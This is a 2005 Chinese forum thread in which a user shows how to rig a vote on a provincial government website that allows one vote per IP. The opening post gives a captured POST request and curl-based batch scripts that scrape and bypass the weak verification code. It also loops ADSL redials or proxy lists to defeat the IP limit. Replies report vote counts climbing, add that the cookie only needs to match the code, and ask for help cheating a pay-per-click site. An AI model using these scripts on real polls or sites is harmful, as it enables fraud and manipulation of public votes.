![]() 支柱会员
|
述求:
这个网站限制了一个ip只能投票一次, 哪位高手能解开这个限制? http://www.jxwm.gov.cn/huodong/wmdw/ 进入网站后,请选择“A27、上饶供电公司”投上您宝贵的一票。 详情请看这一贴 http://bbs.et8.net/bbs/showthread.php?t=667875 ================================================= 先观察下这个站点,一些checkbox,需要填写验证码 ie试投一下,连接到http://www.jxwm.gov.cn/huodong/wmdw/wmdwtp.php进行验证 第二次试投,提示每ip只能投一次,可能是在服务端记录验证的,先不去管它 自动脚本投票的思路: 1.利用curl模拟浏览器动作进行投票 2.利用变更代理服务器或反复拨号上下线对付每ip投票限制 开工: 1.看了下投票页http://www.jxwm.gov.cn/huodong/wmdw/index.php的html源码 似乎只需post wmdw[]=27&wmdwcode=1698即可,curl -d "wmdw[]=27&wmdwcode=1698" http://xxxx.xxx 反复试了半天,无果。 看来有暗桩,游戏结束? 不,顶住,坚持就是胜利 2.想起来httplook,赶紧拿出来,监视投票动作,马上有了结果,软件真好 代码:
POST /huodong/wmdw/wmdwtp.php HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Referer: http://www.jxwm.gov.cn/huodong/wmdw/ Accept-Language: zh-cn Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Host: www.jxwm.gov.cn Content-Length: 64 Connection: Keep-Alive Cache-Control: no-cache Cookie: wmdwloginnumber=1698; xjdwloginnumber=5448 wmdwoperator=1&wmdw%5B%5D=27&wmdwcode=1698&submit.x=5&submit.y=11 代码:
Referer: http://www.jxwm.gov.cn/huodong/wmdw/ User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cookie: wmdwloginnumber=1698; xjdwloginnumber=5448 wmdwoperator=1&wmdw%5B%5D=27&wmdwcode=1698&submit.x=5&submit.y=11 集中注意力在cookie和post内容上 代码:
Cookie: wmdwloginnumber=1698 wmdwoperator=1&wmdw%5B%5D=27&wmdwcode=1698 google出三言两语现学php,信息真够乱的,我也不是天才,所获等于00000,呼,我的时间就是多,浪费不怕 3.对curl简单做下说明 curl -b 提交cookie curl -d post表单 curl -A User-Agent curl -e Referer curl -x proxy 学习教程在这里http://bbs.et8.net/bbs/showthread.php?t=568472 老服是个宝,我反复学习了好几遍了,hoho 4.组织编写cmd,疯狂测试中 思路如下: 抓index.php,提取两个验证码 if 是第一个验证码 then 提交curl -b cookie -d post form http://...wmdwtp.php 代码:
curl http://jxwm.jxgdw.com/huodong/wmdw/index.php |findstr /n "请输入\<" >tmp.txt for /f "tokens=1,5 delims=:<>" %%i in (tmp.txt) do ( if "%%i"=="349" ( curl -b "wmdwloginnumber=%%i" -d "wmdwoperator=1&wmdw[]=27&wmdwcode=%%i" http://jxwm.jxgdw.com/huodong/wmdw/wmdwtp.php) ) 在这里浪费了不少测试时间,测试是个体力活,直到你感到迷茫,都不一定能成功..要坚持 5.收拾得差不多了,该对付每ip一投限制了 没啥好折,换代理?平时也不太找.没准备 拨号线路,频繁上下线好了,赫赫,土人土办法 上下线部分 代码:
:loop rasphone -d "ADSL" curl 投票 rasphone -h "ADSL" goto :loop 代码:
for /f %%i in (代理列表) do ( curl -x %%i 投票 哎,业余选手唯有坚持,费时间才能有所得 由于脚本没有通用性,纯交流下思路,就不贴了 此帖于 2005-06-23 16:27:57 被 hitme 编辑. . |
||
![]() 超级会员
|
不愧是老大! 非常好的思路 等我将它用到上网交作业那里试试
![]() |
||
![]() qq24434008@163.com |
![]() 核心会员
|
for..................
以后称hitme为forer吧 ![]() |
||
![]() 支柱会员
|
引用:
不给加个尊号么?比如 bigforer smallfrogs bigforer,哈哈哈哈,神秘的 ![]() 此帖于 2005-06-23 17:00:27 被 hitme 编辑. . |
|||
![]() 中级会员
|
太好了, 现在票数在快速上升
![]() |
||
![]() 热心会员
|
牛,真厉害。
btw:能否用cmd脚本把http://result.lottery.gov.cn/qxc/qxcpl305166.js 脚本里的全部摇奖结果: 7 3 6 8 9抓出来,发送到一个指定的url里? btw:qxcpl305166.js里的305***每天自动加一的。 |
||
![]() 超级会员
|
贴一个前几天写的python代码,比较凌乱, 可以用代理的(用kanbol的哪个抓代理的工具抓了一些代理), 把代理保存为 11.22.33.44:55格式,一行一个,存为同目录的proxy.txt就可以了。
不过不太能理解的是, 为啥用文字来验证, 不用图片的呢... PHP 代码:
|
||
![]() 超级会员
|
呵!厉害!
帮看看能不能搞定这个网站:http://www.zxxk.com/forum/Get.asp?UserID=126016 该网站可以通过宣传赚取点数,每IP在一定时间内点击一次进入网站可以获得1点。同一IP地址多次点击不计。 我想作弊,每次断线换IP重新点击,连Cookies都清除了,但总是不能生效!谁帮看看有什么办法? |
||
![]() 热心会员
|
牛X 这样也可以...
|
||
![]() 游客
|
订阅了,以后再慢慢看,很有用的东西,说不准哪天会用上,哈哈
|
||
![]() 热心会员
|
强,学习ing
|
||
![]() 泡在CCF的日子............. 出来混,总是要还的。 只有在你闭上眼的时候,你才会看见你最想看的东西---地下铁 |
![]() 支柱会员
|
拜师来了。。
|
||
![]() 超级会员
|
没必要重新去读取验证码.
只要发送出去的数据中,wmdwloginnumber=wmdwcode就行. |
||
![]() !!!!!永远的柑子园!!!!! |
![]() 超级会员
|
引用:
否则,投票数太少,领导很没面子 |
|||
![]() 待认证激活
|
强,收藏备用
![]() |
||
![]() NearbyFeed基于地点的社交网络iPhone和Android应用程序,欢迎到App Store和Android Market下载使用nearbyfeed.com |